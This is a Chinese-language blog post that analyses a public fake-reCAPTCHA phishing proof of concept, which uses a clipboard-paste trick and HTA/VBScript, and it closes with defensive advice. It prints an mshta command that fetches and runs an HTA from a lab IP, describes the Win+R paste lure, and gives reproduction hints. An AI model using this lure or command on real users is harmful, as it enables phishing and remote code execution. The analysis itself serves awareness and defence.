介紹:reCAPTCHA與釣魚攻擊的結合
在日常網路使用中,reCAPTCHA 無疑是許多人都會接觸到的一個防禦機制。而它的主要用途是防止機器人自動化操作網站,如濫發廣告或進行惡意註冊等。由於其設計目的是提升安全性,一般人會將其與網路防護機制聯繫在一起,而並非潛在的威脅。然而,由 John Hammond 發出來的這個 Github (https://github.com/JohnHammond/recaptcha-phish) 展現了一個令人意想不到的可能性——利用虛假的 reCAPTCHA 介面進行釣魚攻擊。
本文將探討這個惡意程式的運作模式,尤其是利用了 HTA (HTML Application) 技術,以欺騙使用者並執行惡意 VBScript。本文還會解析範例中的程式碼,分析如何使用虛假的 reCAPTCHA 圖像和訊息,來引誘受害者執行惡意程式並避免被輕易察覺。
HTA 技術的簡介與使用
HTA (HTML Application) 是一種在 Windows 環境下執行的 HTML 和 VBScript 設計應用程式。所建立的 HTA 應用程式像是本地應用一樣執行,不會受到網頁瀏覽器的限制,這使其能夠完全操控使用者的系統。HTA 支援大量指令碼語言與特性,可以執行如 VBScript、JScript 和批次處理等程式語言,這使得它成為濫用與攻擊的潛在向量。
範例的關鍵點在於使用 HTA 和 VBScript,來悄悄執行 Windows 上的指令。在示範的範例中,HTA 程式打開視窗,展示虛假的過程,但在幕後卻運行了一個電腦應用程式 (calc.exe
),同時清除剪貼簿資料,這些動作本質上看起來無害,但實際上,它們可以被替換為更具攻擊性甚至危險的實際行動,例如何時下載惡意軟體或啟動針對系統的攻擊。
如果到這邊可能還不知道 HTA 具體是什麼,可以載下來這個程式看看(使用 Windows) ,應該就可以大概理解了
程式碼解析與運作流程
前端的主要模擬內容
reCAPTCHA 視覺模擬:
- 頁面使用 CSS 和 JavaScript 模擬了 reCAPTCHA 的視覺效果,包括「I’m not a robot」的勾選框,並且附帶 Google reCAPTCHA 的 Logo,使得頁面外觀非常類似官方的驗證機制。
- 當用戶點選勾選框時,會觸發一個模擬的驗證過程,其中包含動畫(例如旋轉的加載指示器)以模仿實際的 reCAPTCHA 驗證體驗。
引導機制:
- 模擬驗證完成後,會彈出一個「驗證」視窗,聲稱需進一步驗證用戶身份。
- 在這個視窗中,引導用戶依據步驟按下 Windows + R,打開執行視窗,然後使用 Ctrl + V 將系統剪貼板中的命令貼入執行。
- 剪貼板中的內容包含一個用「mshta」執行的惡意命令(透過 HTA 檔案運行,
mshta
是 Windows 中用來執行.hta
文件的命令)。
惡意操作:
- JavaScript 的
stageClipboard
函數被用來將惡意的 HTA 下載路徑和驗證 ID 寫入剪貼板,利用用戶信任來執行惡意操作。 - 最終,若用戶按照提示操作,將會自行執行保存在剪貼板中的 HTA 文件,這將開啟執行惡意內容的可能性。
- JavaScript 的
這邊的指令為
1 | mshta http://192.168.9.2:8000/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 7092'' |
意思是利用 mshta 開啟 http://192.168.9.2:8000/recaptcha-verify 這個網頁(如果有需要複現,可以簡單利用 python -m http.server 8000
即可架設簡易網頁複現)
複製貼上之後,執行了什麼
該範例利用 HTML 的結構展現了一個與真實 reCAPTCHA 相似的視覺元素,試圖給使用者一種合法的視覺錯覺。下方為範常式式骨架包含的 reCAPTCHA 樣式元素:
1 | <body> |
一開始,頁面會顯示 reCAPTCHA 驗證進行中的訊息(”Verifying reCAPTCHA, please wait…”),然而,這僅僅是前端的假象。在背後,惡意 VBScript 已經在執行(這邊已打開計算機來比喻惡意程式)。
VBScript 邏輯與攻擊過程
當前臺顯示 reCAPTCHA 驗證提示時,背後的 VBScript 技術悄然啟動:
1 | Sub Window_onLoad |
1. 視窗調整與設定
預設應用程式會打開一個520﹡480的視窗,強制使用者的注意力集中於此。
2. 隱藏指令行執行惡意程式
使用 WScript.Shell
來執行指令行指令。範例中是執行 calc.exe
(電腦程式),這雖然無害,但這裡可以輕易被悪意攻擊者替換成任何其他指令,如下載並安裝惡意軟體或打開後門渠道。
3. 清除剪貼簿以隱藏痕跡
惡意程式還會清理剪貼簿,防止使用者貼上到的敏感資料被攻擊者檢視或利用。
1 | Sub ClearClipboard |
4. 欺騙性延遲和錯誤訊息
在透明的過程後,使用者會看到一個錯誤訊息,告訴他們驗證失敗,需重試。這是一個典型的欺騙手法,給使用者的感覺好像只是技術故障,而無法察覺背後執行的惡意行動。
整個攻擊流程大概如下所示
graph TD A[使用者點擊" I'm not a robot "] -->|觸發事件| B[隱藏勾選框] B -->|顯示驗證動畫| C(展示載入旋轉圖示) C -->|短暫延遲後| D[顯示驗證步驟視窗] D --> E[引導使用者按下 Windows + R] E --> F[引導使用者複製並貼上剪貼簿指令 (mshta)] F --> G[使用者按下 Enter] G --> H{HTA 檔案執行} H --> I[可能的惡意程式執行]
風險分析與針對性防護策略
此類攻擊利用人們對於合法功能(如 reCAPTCHA)的信任,來進行社會工程學攻擊。該攻擊模式極具欺騙性,especially 因為前端顯示的合法 Google 元素很容易讓受到攻擊的受害者懷疑被釣魚的可能性。
風險點
- 可信度高:此攻擊方式模仿的是知名的 Google reCAPTCHA 驗證服務,且使用了其官方商標和連結,因此容易獲得信任。
- HTA 應用程式的原生特權:HTA 在 Windows 應用程式中具有高權限,這使得 VBScript 可以直接執行系統指令,大幅度提高了攻擊的危險性。
- 隱蔽性高:攻擊者可以替換範例中的惡意執行指令,而受害者不容易察覺。此外,攻擊會短暫執行,使用者只會看到一個錯誤的 reCAPTCHA 驗證錯誤訊息,不會起疑心。
防護措施
- 避免執行未信任來源的 HTA 檔案:企業安全策略中應禁止員工執行 HTA 檔案,避免此類混淆攻擊。
- 監視 Windows 中的異常活動:企業或使用者可以啟用適當的 EDR(端點偵防技術)工具,來偵測並阻止不正常的活動,例如不常見的 HTA 應用程式及開啟 Shell 指令的行為。
總結
該範例為一個虛假的 reCAPTCHA 頁面,旨在模仿合法的驗證操作,後端利用 HTA 技術執行惡意 VBScript 指令。這種攻擊手法依賴於社會工程學中的信任以及 HTA 自帶的高權限執行能力。同時,藉由模仿合法的 Google 素材和標識,攻擊者更能成功欺騙目標。不過針對此類攻擊,本團隊可以透過多種策略來加強防禦,包括避免執行可疑檔案並利用安全工具進行監測與攔截。